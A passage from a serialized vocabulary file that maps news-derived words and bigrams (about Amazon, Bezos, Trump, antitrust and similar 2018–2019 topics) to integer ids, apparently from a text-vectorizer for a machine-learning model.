77187,\n  \"38c\": 77188,\n  \"1700et copyright\": 77189,\n  \"space travel\": 77190,\n  \"man asks\": 77191,\n  \"workers fearful\": 77192,\n  \"hurting consumers\": 77193,\n  \"null cnn\": 77194,\n  \"huge profit\": 77195,\n  \"favorite manchester\": 77196,\n  \"construction planning\": 77197,\n  \"probe took\": 77198,\n  \"reclaim position\": 77199,\n  \"decline stopped\": 77200,\n  \"viewreport 4c11b827\": 77201,\n  \"trump just\": 77202,\n  \"travel countries\": 77203,\n  \"private automobiles\": 77204,\n  \"women restroom\": 77205,\n  \"email highlighting\": 77206,\n  \"wholesale lies\": 77207,\n  \"contemporary antitrust\": 77208,\n  \"workers international\": 77209,\n  \"antitrust standoff\": 77210,\n  \"hit just\": 77211,\n  \"vehemently denied\": 77212,\n  \"relatively quickly\": 77213,\n  \"fox writes\": 77214,\n  \"crime rates\": 77215,\n  \"diminished justice\": 77216,\n  \"guidance\": 77217,\n  \"lisa haralampus\": 77218,\n  \"957 million\": 77219,\n  \"domestic subscribers\": 77220,\n  \"unsettling imagery\": 77221,\n  \"iron throne\": 77222,\n  \"imus\": 77223,\n  \"demand jobs\": 77224,\n  \"rare occurrence\": 77225,\n  \"share representing\": 77226,\n  \"zuker hilarious\": 77227,\n  \"post noted\": 77228,\n  \"difficult process\": 77229,\n  \"ofthat\": 77230,\n  \"delivery shoe\": 77231,\n  \"civil engineer\": 77232,\n  \"guy names\": 77233,\n  \"quite buying\": 77234,\n  \"growing reputation\": 77235,\n  \"facts related\": 77236,\n  \"disorder oct\": 77237,\n  \"accumulated 044\": 77238,\n  \"economy orders\": 77239,\n  \"censorship\": 77240,\n  \"dollar austin\": 77241,\n  \"business combined\": 77242,\n  \"jersey plunging\": 77243,\n  \"recent push\": 77244,\n  \"crisis shutdown\": 77245,\n  \"deleteuber\": 77246,\n  \"policy brian\": 77247,\n  \"achieved concrete\": 77248,\n  \"amazon ordering\": 77249,\n  \"putative foreign\": 77250,\n  \"flags investors\": 77251,\n  \"says note\": 77252,\n  \"angrily tweets\": 77253,\n  \"field wide\": 77254,\n  \"attorney ted\": 77255,\n  \"trek devotee\": 77256,\n  \"undermines state\": 77257,\n  \"broader assessment\": 77258,\n  \"propaganda apparatus\": 77259,\n  \"hours dispatching\": 77260,\n  \"cinematic\": 77261,\n  \"nyna giles\": 77262,\n  \"racist 2018\": 77263,\n  \"greater investment\": 77264,\n  \"city intends\": 77265,\n  \"generate earnings\": 77266,\n  \"king salman\": 77267,\n  \"highly unexpected\": 77268,\n  \"think tanks\": 77269,\n  \"previous\": 77270,\n  \"legislative leaders\": 77271,\n  \"begin construction\": 77272,\n  \"google apple\": 77273,\n  \"arrebatar\": 77274,\n  \"attack vietnam\": 77275,\n  \"bargain steve\": 77276,\n  \"000 hololens\": 77277,\n  \"zealotry\": 77278,\n  \"biased results\": 77279,\n  \"yeah throw\": 77280,\n  \"extremely quiet\": 77281,\n  \"fully energized\": 77282,\n  \"political pressure\": 77283,\n  \"store locations\": 77284,\n  \"possible allure\": 77285,\n  \"communications bezos\": 77286,\n  \"fineman served\": 77287,\n  \"prime bundle\": 77288,\n  \"easily documented\": 77289,\n  \"strange hybrid\": 77290,\n  \"cannabis stocks\": 77291,\n  \"undergoing\": 77292,\n  \"ride today\": 77293,\n  \"pilloried amazon\": 77294,\n  \"imposed tariffs\": 77295,\n  \"risen\": 77296,\n  \"famous victim\": 77297,\n  \"american pavilion\": 77298,\n  \"downed jets\": 77299,\n  \"politics podcast\": 77300,\n  \"adding\": 77301,\n  \"combination read\": 77302,\n  \"mocking tech\": 77303,\n  \"cnbc capital\": 77304,\n  \"processing annex\": 77305,\n  \"slush\": 77306,\n  \"floral\": 77307,\n  \"returns going\": 77308,\n  \"traveler usatoda\": 77309,\n  \"struggling financially\": 77310,\n  \"online shopping\": 77311,\n  \"modi metoo\": 77312,\n  \"average rose\": 77313,\n  \"camarena\": 77314,\n  \"changing payments\": 77315,\n  \"joint ente\": 77316,\n  \"somodevilla\": 77317,\n  \"given birth\": 77318,\n  \"transportation service\": 77319,\n  \"attack philadelphia\": 77320,\n  \"party member\": 77321,\n  \"negotiation\": 77322,\n  \"repeatedly promoted\": 77323,\n  \"rates low\": 77324,\n  \"grown year\": 77325,\n  \"save money\": 77326,\n  \"knew recode_logomark\": 77327,\n  \"value achieved\": 77328,\n  \"industry watchers\": 77329,\n  \"sergio\": 77330,\n  \"suspend mail\": 77331,\n  \"fourth season\": 77332,\n  \"experiences possible\": 77333,\n  \"memorandum serves\": 77334,\n  \"new codes\": 77335,\n  \"fulfillment services\": 77336,\n  \"pronounced dip\": 77337,\n  \"confidence thresholds\": 77338,\n  \"lifeline arranged\": 77339,\n  \"prison ordered\": 77340,\n  \"studied\": 77341,\n  \"condition nonetheless\": 77342,\n  \"race arguing\": 77343,\n  \"cunning executive\": 77344,\n  \"expressed support\": 77345,\n  \"moon ricky\": 77346,\n  \"cat sanctuary\": 77347,\n  \"antitrust plaintiffs\": 77348,\n  \"real problem\": 77349,\n  \"academics\": 77350,\n  \"reunited posted\": 77351,\n  \"taxes took\": 77352,\n  \"including book\": 77353,\n  \"utilize online\": 77354,\n  \"natl\": 77355,\n  \"houston faith\": 77356,\n  \"website boasts\": 77357,\n  \"finds 2018\": 77358,\n  \"academic credit\": 77359,\n  \"scripts unitedhealth\": 77360,\n  \"shaped supreme\": 77361,\n  \"escaping\": 77362,\n  \"aaliyah believed\": 77363,\n  \"ida\": 77364,\n  \"dismissing itat\": 77365,\n  \"box switches\": 77366,\n  \"revision dealt\": 77367,\n  \"senate lawmakers\": 77368,\n  \"lung\": 77369,\n  \"drive trains\": 77370,\n  \"police seized\": 77371,\n  \"media showing\": 77372,\n  \"sending letter\": 77373,\n  \"taseer\": 77374,\n  \"printz award\": 77375,\n  \"investigation intopresident\": 77376,\n  \"contractors held\": 77377,\n  \"executives told\": 77378,\n  \"bundle lengths\": 77379,\n  \"jackie outfit\": 77380,\n  \"recorded provisional\": 77381,\n  \"hardwood\": 77382,\n  \"restraints\": 77383,\n  \"espionage\": 77384,\n  \"colour ceremony\": 77385,\n  \"instances reporting\": 77386,\n  \"institutions democrats\": 77387,\n  \"bank maintained\": 77388,\n  \"secure ways\": 77389,\n  \"immigration lawyers\": 77390,\n  \"higher revenue\": 77391,\n  \"popularity\": 77392,\n  \"kimmy\": 77393,\n  \"reuters california\": 77394,\n  \"resolved questions\": 77395,\n  \"collision\": 77396,\n  \"cnn paul\": 77397,\n  \"totally nutty\": 77398,\n  \"given michelle\": 77399,\n  \"bagging\": 77400,\n  \"tag 2018\": 77401,\n  \"monney braindead\": 77402,\n  \"embattled prime\": 77403,\n  \"john jack\": 77404,\n  \"sanders zeroed\": 77405,\n  \"search tools\": 77406,\n  \"attacking big\": 77407,\n  \"walmart customer\": 77408,\n  \"doe\": 77409,\n  \"states attorney\": 77410,\n  \"consumers morning\": 77411,\n  \"machine learning\": 77412,\n  \"locations drawing\": 77413,\n  \"khan pursues\": 77414,\n  \"j8i b0\": 77415,\n  \"beautiful films\": 77416,\n  \"slapping tariffs\": 77417,\n  \"troubling john\": 77418,\n  \"past materials\": 77419,\n  \"company papers\": 77420,\n  \"latest attempt\": 77421,\n  \"harvesting\": 77422,\n  \"seed funding\": 77423,\n  \"kevin miller\": 77424,\n  \"cease referring\": 77425,\n  \"korea senate\": 77426,\n  \"earful\": 77427,\n  \"proposition driven\": 77428,\n  \"wage bump\": 77429,\n  \"small wage\": 77430,\n  \"ac\": 77431,\n  \"warning don\": 77432,\n  \"royal mail\": 77433,\n  \"joint proposal\": 77434,\n  \"congressional investigations\": 77435,\n  \"itrequires\": 77436,\n  \"regnery\": 77437,\n  \"botox\": 77438,\n  \"affects slightly\": 77439,\n  \"dethroning\": 77440,\n  \"winner announced\": 77441,\n  \"market initial\": 77442,\n  \"posting amazon\": 77443,\n  \"fantastic options\": 77444,\n  \"knows nov\": 77445,\n  \"ap reporter\": 77446,\n  \"probably somewhat\": 77447,\n  \"section cites\": 77448,\n  \"unsure\": 77449,\n  \"recently failed\": 77450,\n  \"limburg\": 77451,\n  \"republican legal\": 77452,\n  \"workers choosing\": 77453,\n  \"woodward washington\": 77454,\n  \"leadership needed\": 77455,\n  \"congressional representation\": 77456,\n  \"economical\": 77457,\n  \"arabia think\": 77458,\n  \"blumenthal picked\": 77459,\n  \"yorktown\": 77460,\n  \"experimental ways\": 77461,\n  \"suggestion data\": 77462,\n  \"5billion percentage\": 77463,\n  \"intimidating globally\": 77464,\n  \"right society\": 77465,\n  \"uganda turkey\": 77466,\n  \"activist group\": 77467,\n  \"economic competitiveness\": 77468,\n  \"court martialed\": 77469,\n  \"interpreted\": 77470,\n  \"investigators google\": 77471,\n  \"audiences\": 77472,\n  \"land owner\": 77473,\n  \"incurs costs\": 77474,\n  \"media interviews\": 77475,\n  \"questions pic\": 77476,\n  \"bezos claims\": 77477,\n  \"indiana man\": 77478,\n  \"trump lighthizer\": 77479,\n  \"eyeballs pinging\": 77480,\n  \"anderson cooper\": 77481,\n  \"cjr\": 77482,\n  \"anchor turned\": 77483,\n  \"change jason\": 77484,\n  \"tunes\": 77485,\n  \"springer ceo\": 77486,\n  \"receive additional\": 77487,\n  \"congressperson anthony\": 77488,\n  \"semtimetr library\": 77489,\n  \"dorsky heart\": 77490,\n  \"buying month\": 77491,\n  \"diehards\": 77492,\n  \"city bad\": 77493,\n  \"make scotland\": 77494,\n  \"play16\": 77495,\n  \"concentration sears\": 77496,\n  \"sentiment sept\": 77497,\n  \"lady controversy\": 77498,\n  \"aide bring\": 77499,\n  \"cloud security\": 77500,\n  \"shakeup mark\": 77501,\n  \"lets work\": 77502,\n  \"country desperately\": 77503,\n  \"accountability enhancement\": 77504,\n  \"disneyland tickets\": 77505,\n  \"spouses\": 77506,\n  \"conservatives claim\": 77507,\n  \"knocking\": 77508,\n  \"seeks controls\": 77509,\n  \"collection exclusively\": 77510,\n  \"fundamentalists calling\": 77511,\n  \"tapestry\": 77512,\n  \"highway evan\": 77513,\n  \"tools build\": 77514,\n  \"david lawrence\": 77515,\n  \"crash buy\": 77516,\n  \"private schedule\": 77517,\n  \"comment directly\": 77518,\n  \"profitable new\": 77519,\n  \"flagship big\": 77520,\n  \"huge names\": 77521,\n  \"republicans weakened\": 77522,\n  \"public policies\": 77523,\n  \"guiding\": 77524,\n  \"revenue protestors\": 77525,\n  \"manchester nh\": 77526,\n  \"economically thriving\": 77527,\n  \"veterans homeland\": 77528,\n  \"administration pledge\": 77529,\n  \"york minute\": 77530,\n  \"closely watched\": 77531,\n  \"ejtaub\": 77532,\n  \"mandate infringed\": 77533,\n  \"amnesty blasts\": 77534,\n  \"jodi\": 77535,\n  \"require google\": 77536,\n  \"considers\": 77537,\n  \"apnewsnow\": 77538,\n  \"stock incentives\": 77539,\n  \"target european\": 77540,\n  \"niedzwiadek nick\": 77541,\n  \"month amid\": 77542,\n  \"current laws\": 77543,\n  \"prime discount\": 77544,\n  \"pleading\": 77545,\n  \"simple rule\": 77546,\n  \"foreclosure\": 77547,\n  \"delivery program\": 77548,\n  \"roth\": 77549,\n  \"workers want\": 77550,\n  \"plotting planning\": 77551,\n  \"blogs wsj\": 77552,\n  \"giroux\": 77553,\n  \"offline commerce\": 77554,\n  \"currency kavanaugh\": 77555,\n  \"political backlash\": 77556,\n  \"dismayed\": 77557,\n  \"called old\": 77558,\n  \"460k\": 77559,\n  \"day bezos\": 77560,\n  \"settled nixon\": 77561,\n  \"richest ceo\": 77562,\n  \"vladi mir\": 77563,\n  \"antitrust matters\": 77564,\n  \"fictional departure\": 77565,\n  \"rout wall\": 77566,\n  \"long supported\": 77567,\n  \"escapism\": 77568,\n  \"katienotopoulos\": 77569,\n  \"confrontations\": 77570,\n  \"yorkers lives\": 77571,\n  \"dynamite\": 77572,\n  \"management communications\": 77573,\n  \"spectacular amazon\": 77574,\n  \"society facebook\": 77575,\n  \"pad just\": 77576,\n  \"upcoming new\": 77577,\n  \"offer trump\": 77578,\n  \"million american\": 77579,\n  \"criticism 40am\": 77580,\n  \"don tax\": 77581,\n  \"quietly released\": 77582,\n  \"allows little\": 77583,\n  \"freedom case\": 77584,\n  \"rickjnewmanfollow\": 77585,\n  \"child research\": 77586,\n  \"macro tourist\": 77587,\n  \"sydney balancing\": 77588,\n  \"choosing android\": 77589,\n  \"entrepreneurial explosion\": 77590,\n  \"records management\": 77591,\n  \"oil based\": 77592,\n  \"potentially cause\": 77593,\n  \"million 181\": 77594,\n  \"southeastern department\": 77595,\n  \"disliking trump\": 77596,\n  \"quickly gathering\": 77597,\n  \"friends story\": 77598,\n  \"school board\": 77599,\n  \"plus coaching\": 77600,\n  \"gift gift\": 77601,\n  \"legislatures\": 77602,\n  \"trump smiled\": 77603,\n  \"subsections environment\": 77604,\n  \"unfettered progress\": 77605,\n  \"opioid summit\": 77606,\n  \"outranks toronto\": 77607,\n  \"amid time\": 77608,\n  \"coppola earlier\": 77609,\n  \"trademarks bailouts\": 77610,\n  \"edwards kay\": 77611,\n  \"enquirer publication\": 77612,\n  \"alumna\": 77613,\n  \"splc hate\": 77614,\n  \"fat\": 77615,\n  \"791 shares\": 77616,\n  \"disclosures showed\": 77617,\n  \"cassandra szklarski\": 77618,\n  \"unearned\": 77619,\n  \"champion gennady\": 77620,\n  \"kostin wrote\": 77621,\n  \"vietnamese street\": 77622,\n  \"advised\": 77623,\n  \"paid mistreated\": 77624,\n  \"started detecting\": 77625,\n  \"post fantasized\": 77626,\n  \"inside politics\": 77627,\n  \"deep employee\": 77628,\n  \"garrick\": 77629,\n  \"fears thousands\": 77630,\n  \"android software\": 77631,\n  \"generating\": 77632,\n  \"occasionally dissented\": 77633,\n  \"superjumbo\": 77634,\n  \"7ctwgr 5e383231323b626f6c6465725f6e6577735f616374696f6e\": 77635,\n  \"valid\": 77636,\n  \"mccabe sanders\": 77637,\n  \"rare win\": 77638,\n  \"kavanaugh gorsuch\": 77639,\n  \"power strips\": 77640,\n  \"amazon primarily\": 77641,\n  \"todd\": 77642,\n  \"editorial correctly\": 77643,\n  \"worker removed\": 77644,\n  \"flakejeffrey\": 77645,\n  \"attracted trump\": 77646,\n  \"moret\": 77647,\n  \"just spent\": 77648,\n  \"australian financial\": 77649,\n  \"ventures bezos\": 77650,\n  \"video online\": 77651,\n  \"2029\": 77652,\n  \"squared revolving\": 77653,\n  \"calls ford\": 77654,\n  \"150 miles\": 77655,\n  \"world map\": 77656,\n  \"amazon fairly\": 77657,\n  \"plutocrats\": 77658,\n  \"specifically sought\": 77659,\n  \"multi step\": 77660,\n  \"hbo new\": 77661,\n  \"paul giamatti\": 77662,\n  \"pernicious government\": 77663,\n  \"area stepped\": 77664,\n  \"rate projection\": 77665,\n  \"critical thinking\": 77666,\n  \"appointed personnel\": 77667,\n  \"chips key\": 77668,\n  \"tour\": 77669,\n  \"days notice\": 77670,\n  \"moves ahead\": 77671,\n  \"leaving instagram\": 77672,\n  \"amazon catspaw\": 77673,\n  \"online security\": 77674,\n  \"new subway\": 77675,\n  \"celebrations break\": 77676,\n  \"understand digital\": 77677,\n  \"newsom claims\": 77678,\n  \"card carrying\": 77679,\n  \"acutely comforting\": 77680,\n  \"tighter\": 77681,\n  \"offense committed\": 77682,\n  \"rahul gandhi\": 77683,\n  \"want competition\": 77684,\n  \"stroock\": 77685,\n  \"protesters storm\": 77686,\n  \"yodeler\": 77687,\n  \"touts\": 77688,\n  \"calm brian\": 77689,\n  \"private trump\": 77690,\n  \"narrow experience\": 77691,\n  \"sexual indiscretion\": 77692,\n  \"portended\": 77693,\n  \"management professor\": 77694,\n  \"slipperiness\": 77695,\n  \"state delivering\": 77696,\n  \"month scribd\": 77697,\n  \"sanders wheelhouse\": 77698,\n  \"really isn\": 77699,\n  \"belk\": 77700,\n  \"fundraisers job\": 77701,\n  \"thegovernment\": 77702,\n  \"scaring away\": 77703,\n  \"ice taser\": 77704,\n  \"immelt\": 77705,\n  \"justice enforcement\": 77706,\n  \"brighter super\": 77707,\n  \"621\": 77708,\n  \"tax funds\": 77709,\n  \"arguably just\": 77710,\n  \"pipeline remains\": 77711,\n  \"holdings tenneco\": 77712,\n  \"mug shot\": 77713,\n  \"oracle suppression\": 77714,\n  \"dvd box\": 77715,\n  \"years wegmann\": 77716,\n  \"protect jeff\": 77717,\n  \"cult rockers\": 77718,\n  \"charge filed\": 77719,\n  \"businesses smbs\": 77720,\n  \"congo trump\": 77721,\n  \"prints fake\": 77722,\n  \"freud\": 77723,\n  \"shining harsh\": 77724,\n  \"soft targets\": 77725,\n  \"showed improvement\": 77726,\n  \"planning presidential\": 77727,\n  \"pep\": 77728,\n  \"published entirely\": 77729,\n  \"tag history\": 77730,\n  \"brings different\": 77731,\n  \"car follow\": 77732,\n  \"make humans\": 77733,\n  \"nz 200b\": 77734,\n  \"leading academic\": 77735,\n  \"satirist\": 77736,\n  \"harr founding\": 77737,\n  \"incorrect stats\": 77738,\n  \"points properly\": 77739,\n  \"workers grant\": 77740,\n  \"right activist\": 77741,\n  \"sites new\": 77742,\n  \"educated\": 77743,\n  \"products instead\": 77744,\n  \"oft\": 77745,\n  \"cmtx minute\": 77746,\n  \"talk pokemon\": 77747,\n  \"disappear society\": 77748,\n  \"scandal going\": 77749,\n  \"investors 2019\": 77750,\n  \"paula\": 77751,\n  \"finds fault\": 77752,\n  \"copyright eu\": 77753,\n  \"theydiscussed potentially\": 77754,\n  \"pavlich\": 77755,\n  \"stuart calls\": 77756,\n  \"crackdown\": 77757,\n  \"carpet looks59\": 77758,\n  \"sensitive workloads\": 77759,\n  \"reports 2019\": 77760,\n  \"satisfying shuffle\": 77761,\n  \"imploring ceo\": 77762,\n  \"committee passed\": 77763,\n  \"deny google\": 77764,\n  \"group president\": 77765,\n  \"ms\": 77766,\n  \"tax provokes\": 77767,\n  \"florida office\": 77768,\n  \"mother alphabet\": 77769,\n  \"removed shirts\": 77770,\n  \"knocks\": 77771,\n  \"law protecting\": 77772,\n  \"s8 c2x\": 77773,\n  \"ceo wrote\": 77774,\n  \"2018 stock\": 77775,\n  \"essentials\": 77776,\n  \"hopped\": 77777,\n  \"metro\": 77778,\n  \"ways lack\": 77779,\n  \"adversarial stance\": 77780,\n  \"consumer psychologists\": 77781,\n  \"clovery red\": 77782,\n  \"unfair playing\": 77783,\n  \"free robocall\": 77784,\n  \"nicolas dujovne\": 77785,\n  \"article foolish\": 77786,\n  \"pass minimum\": 77787,\n  \"workers expanding\": 77788,\n  \"uniter\": 77789,\n  \"prioritizes equitable\": 77790,\n  \"unlikely replacing\": 77791,\n  \"nude photo\": 77792,\n  \"37th avenue\": 77793,\n  \"swaths\": 77794,\n  \"925 shares\": 77795,\n  \"proclivity\": 77796,\n  \"oeuvre resistance\": 77797,\n  \"broccoli sprout\": 77798,\n  \"price jump\": 77799,\n  \"amafonz\": 77800,\n  \"persist\": 77801,\n  \"carter icymi\": 77802,\n  \"populated country\": 77803,\n  \"inventory 2018\": 77804,\n  \"gabriela charged\": 77805,\n  \"contrasted\": 77806,\n  \"frederick amazon\": 77807,\n  \"1pw8zh2fsw washington\": 77808,\n  \"way seeking\": 77809,\n  \"prize review\": 77810,\n  \"tax litigation\": 77811,\n  \"bezos woke\": 77812,\n  \"magnify\": 77813,\n  \"today operating\": 77814,\n  \"schmid geekwire\": 77815,\n  \"really tore\": 77816,\n  \"center mile\": 77817,\n  \"suggests anti\": 77818,\n  \"photo memphis\": 77819,\n  \"cult liberal\": 77820,\n  \"follows letter\": 77821,\n  \"national writer\": 77822,\n  \"delivery rollout\": 77823,\n  \"digital life\": 77824,\n  \"shawn thew\": 77825,\n  \"tracking bezos\": 77826,\n  \"showed trump\": 77827,\n  \"claims sank\": 77828,\n  \"presidential duties\": 77829,\n  \"arrest severe\": 77830,\n  \"letter details\": 77831,\n  \"cancel recommended\": 77832,\n  \"disturbing aspect\": 77833,\n  \"page qanon\": 77834,\n  \"does tend\": 77835,\n  \"win major\": 77836,\n  \"washington bolstered\": 77837,\n  \"nation politics\": 77838,\n  \"false autostartvideo\": 77839,\n  \"ice bucket\": 77840,\n  \"acrimonious testimony\": 77841,\n  \"arrests kremlin\": 77842,\n  \"abuse nasty\": 77843,\n  \"danish architect\": 77844,\n  \"oregon woman\": 77845,\n  \"just left\": 77846,\n  \"jackson playmate\": 77847,\n  \"payday\": 77848,\n  \"measures exclude\": 77849,\n  \"808\": 77850,\n  \"steamy\": 77851,\n  \"accommodate soy\": 77852,\n  \"000 lying\": 77853,\n  \"image 300x520\": 77854,\n  \"significantly increasing\": 77855,\n  \"bezos executive\": 77856,\n  \"watch michael\": 77857,\n  \"logistics partner\": 77858,\n  \"regional director\": 77859,\n  \"frequently lambasted\": 77860,\n  \"thati don\": 77861,\n  \"reserve employees\": 77862,\n  \"beautifully\": 77863,\n  \"offered second\": 77864,\n  \"right governor\": 77865,\n  \"crony arrangements\": 77866,\n  \"mild headline\": 77867,\n  \"mcveigh\": 77868,\n  \"meddling george\": 77869,\n  \"business success\": 77870,\n  \"advertising skyrocketed\": 77871,\n  \"new reporting\": 77872,\n  \"forcing taxpaying\": 77873,\n  \"coach missing\": 77874,\n  \"die book\": 77875,\n  \"modern war\": 77876,\n  \"scott queenbjr\": 77877,\n  \"dynamic conversation\": 77878,\n  \"publishing critical\": 77879,\n  \"roku apple\": 77880,\n  \"korea issued\": 77881,\n  \"jeong hp\": 77882,\n  \"minute addition\": 77883,\n  \"blofeld oops\": 77884,\n  \"term president\": 77885,\n  \"farming paper\": 77886,\n  \"environmental crime\": 77887,\n  \"people having\": 77888,\n  \"benefited time\": 77889,\n  \"f7a\": 77890,\n  \"manyways\": 77891,\n  \"marked huge\": 77892,\n  \"aviary cocktail\": 77893,\n  \"flower soap\": 77894,\n  \"focuses\": 77895,\n  \"double parcel\": 77896,\n  \"increased cancer\": 77897,\n  \"government modernize\": 77898,\n  \"legal complaint\": 77899,\n  \"imported aluminum\": 77900,\n  \"billing signing\": 77901,\n  \"post sources\": 77902,\n  \"gold 2018\": 77903,\n  \"temporarily newt\": 77904,\n  \"768w\": 77905,\n  \"looming regulatory\": 77906,\n  \"legislature questioned\": 77907,\n  \"narrow range\": 77908,\n  \"stay safe\": 77909,\n  \"legalization\": 77910,\n  \"elevators\": 77911,\n  \"national discourse\": 77912,\n  \"g4 a4ee\": 77913,\n  \"audi toyota\": 77914,\n  \"shepherd\": 77915,\n  \"barclays raises\": 77916,\n  \"prominent figure\": 77917,\n  \"snap dollar\": 77918,\n  \"22205 19th\": 77919,\n  \"dreams amazon\": 77920,\n  \"press official\": 77921,\n  \"jerk\": 77922,\n  \"high commissioner\": 77923,\n  \"generates low\": 77924,\n  \"enforcement community\": 77925,\n  \"thatare\": 77926,\n  \"shortages coral\": 77927,\n  \"offered\": 77928,\n  \"var c0\": 77929,\n  \"sources program\": 77930,\n  \"mitch ceasar\": 77931,\n  \"sbux makes\": 77932,\n  \"virginia state\": 77933,\n  \"useful\": 77934,\n  \"effectively defends\": 77935,\n  \"dazzles\": 77936,\n  \"ami leader\": 77937,\n  \"analysts taylor\": 77938,\n  \"recently appealed\": 77939,\n  \"stars great\": 77940,\n  \"expected results\": 77941,\n  \"global fight\": 77942,\n  \"markets atif\": 77943,\n  \"scottish comedian\": 77944,\n  \"hour president\": 77945,\n  \"emerging profile\": 77946,\n  \"campus cuomo\": 77947,\n  \"world leader\": 77948,\n  \"newsletters check\": 77949,\n  \"moving parts\": 77950,\n  \"pants slim\": 77951,\n  \"tie events\": 77952,\n  \"administering\": 77953,\n  \"immunity agreement\": 77954,\n  \"taxed 000\": 77955,\n  \"ramos\": 77956,\n  \"billion based\": 77957,\n  \"creative\": 77958,\n  \"faangs facebook\": 77959,\n  \"pick health\": 77960,\n  \"fulfill increasingly\": 77961,\n  \"lack options\": 77962,\n  \"warehouse associates\": 77963,\n  \"influence schooner\": 77964,\n  \"dwarf\": 77965,\n  \"sforden\": 77966,\n  \"dromm\": 77967,\n  \"sh ttery\": 77968,\n  \"lives just\": 77969,\n  \"stops yang\": 77970,\n  \"half check\": 77971,\n  \"second thought\": 77972,\n  \"required book\": 77973,\n  \"publicized\": 77974,\n  \"reimposes iran\": 77975,\n  \"created new\": 77976,\n  \"site turns\": 77977,\n  \"stability commodity\": 77978,\n  \"increase flexibility\": 77979,\n  \"ongoing purchasing\": 77980,\n  \"backer\": 77981,\n  \"highlight substantive\": 77982,\n  \"hannity close\": 77983,\n  \"inquisitr\": 77984,\n  \"buyingtribune\": 77985,\n  \"say conama\": 77986,\n  \"low city\": 77987,\n  \"investor carl\": 77988,\n  \"sending threatening\": 77989,\n  \"better technology\": 77990,\n  \"wealthier bezos\": 77991,\n  \"ibama officials\": 77992,\n  \"body broken\": 77993,\n  \"country financial\": 77994,\n  \"story matt\": 77995,\n  \"really recycled\": 77996,\n  \"pain society\": 77997,\n  \"sarayu\": 77998,\n  \"called axis\": 77999,\n  \"smashing spark\": 78000,\n  \"endlessly hilarious\": 78001,\n  \"2018 bloomberg\": 78002,\n  \"wireless acquires\": 78003,\n  \"delicate task\": 78004,\n  \"illinois economics\": 78005,\n  \"costar\": 78006,\n  \"today josh\": 78007,\n  \"goodies toronto\": 78008,\n  \"apple ran\": 78009,\n  \"reactid 189\": 78010,\n  \"possible hq2\": 78011,\n  \"cons\": 78012,\n  \"shorthand\": 78013,\n  \"deal according\": 78014,\n  \"cnr chief\": 78015,\n  \"awe inspiring\": 78016,\n  \"amazon galloway\": 78017,\n  \"9oos0ph7qb emily\": 78018,\n  \"party agendas\": 78019,\n  \"watch pause\": 78020,\n  \"says certainpoliticians\": 78021,\n  \"box retailing\": 78022,\n  \"parents say\": 78023,\n  \"service competitive\": 78024,\n  \"obvious ladies\": 78025,\n  \"revenue shows\": 78026,\n  \"lic share\": 78027,\n  \"tabloid cited\": 78028,\n  \"roughly 650\": 78029,\n  \"pose material\": 78030,\n  \"surrendering\": 78031,\n  \"story midterm\": 78032,\n  \"chowhound shop\": 78033,\n  \"writer steve\": 78034,\n  \"say americans\": 78035,\n  \"people platform\": 78036,\n  \"office 1989\": 78037,\n  \"people choose\": 78038,\n  \"faithful keanu\": 78039,\n  \"rapid deforestation\": 78040,\n  \"admp\": 78041,\n  \"experts amazon\": 78042,\n  \"public emails\": 78043,\n  \"stanley stubby\": 78044,\n  \"american ally\": 78045,\n  \"kuester charlotte\": 78046,\n  \"attacked washington\": 78047,\n  \"intercepts suspicious\": 78048,\n  \"post traumatic\": 78049,\n  \"administration smelled\": 78050,\n  \"year sen\": 78051,\n  \"combined market\": 78052,\n  \"flashy\": 78053,\n  \"new americans\": 78054,\n  \"race\": 78055,\n  \"population city\": 78056,\n  \"pacific continue\": 78057,\n  \"including cheap\": 78058,\n  \"previously forced\": 78059,\n  \"community residents\": 78060,\n  \"boycott divestment\": 78061,\n  \"dramatic price\": 78062,\n  \"joined chuck\": 78063,\n  \"brought affordable\": 78064,\n  \"minorities owners\": 78065,\n  \"kummer\": 78066,\n  \"netflix created\": 78067,\n  \"begins\": 78068,\n  \"maryland described\": 78069,\n  \"company partial\": 78070,\n  \"cost natural\": 78071,\n  \"theories associated\": 78072,\n  \"agold politico\": 78073,\n  \"lauran sanchez\": 78074,\n  \"wishing kyle\": 78075,\n  \"stranded north\": 78076,\n  \"ongoing challenges\": 78077,\n  \"seventh grade\": 78078,\n  \"overworked\": 78079,\n  \"private bodies\": 78080,\n  \"broadcast station\": 78081,\n  \"expectations 2019\": 78082,\n  \"deportation proceedings\": 78083,\n  \"personally pressed\": 78084,\n  \"need experience\": 78085,\n  \"tropical deforestation\": 78086,\n  \"newyork help\": 78087,\n  \"pfizer shares\": 78088,\n  \"protect inventors\": 78089,\n  \"trump links\": 78090,\n  \"wallpaper\": 78091,\n  \"100 funds\": 78092,\n  \"constine\": 78093,\n  \"syrian quagmire\": 78094,\n  \"educateing\": 78095,\n  \"alibaba ebay\": 78096,\n  \"shutter\": 78097,\n  \"rohwer\": 78098,\n  \"vgbufmhunz ric\": 78099,\n  \"potential reactions\": 78100,\n  \"cut deal\": 78101,\n  \"coronary\": 78102,\n  \"spectrum consistently\": 78103,\n  \"ancient colonial\": 78104,\n  \"military junta\": 78105,\n  \"lashed\": 78106,\n  \"kill jobs\": 78107,\n  \"does negotiate\": 78108,\n  \"julian castro\": 78109,\n  \"470\": 78110,\n  \"swan interjected\": 78111,\n  \"facebooks 120\": 78112,\n  \"lend\": 78113,\n  \"company operate\": 78114,\n  \"random reads\": 78115,\n  \"sneak preview\": 78116,\n  \"broadcast merger\": 78117,\n  \"says jim\": 78118,\n  \"enquirer ran\": 78119,\n  \"broad look\": 78120,\n  \"infection\": 78121,\n  \"government position\": 78122,\n  \"boasts\": 78123,\n  \"innovation additionally\": 78124,\n  \"india draft\": 78125,\n  \"showtime nearly\": 78126,\n  \"kelton\": 78127,\n  \"having great\": 78128,\n  \"live premier\": 78129,\n  \"gadget startups\": 78130,\n  \"business join\": 78131,\n  \"utm_campaign feed\": 78132,\n  \"amazon tried\": 78133,\n  \"undertake transformation\": 78134,\n  \"enormous flood\": 78135,\n  \"crossword\": 78136,\n  \"description read\": 78137,\n  \"bezos sanchez\": 78138,\n  \"media__icon hide\": 78139,\n  \"2070336002 cancelsend\": 78140,\n  \"board diversity\": 78141,\n  \"company swooped\": 78142,\n  \"tax loopholes\": 78143,\n  \"bezos regained\": 78144,\n  \"boy corpse\": 78145,\n  \"head trade\": 78146,\n  \"amazon image\": 78147,\n  \"encourage start\": 78148,\n  \"johnson absolutely\": 78149,\n  \"nasdaq xlnx\": 78150,\n  \"wildfires returning\": 78151,\n  \"music lightfoot\": 78152,\n  \"diverting\": 78153,\n  \"friendmatty catholic\": 78154,\n  \"sq\": 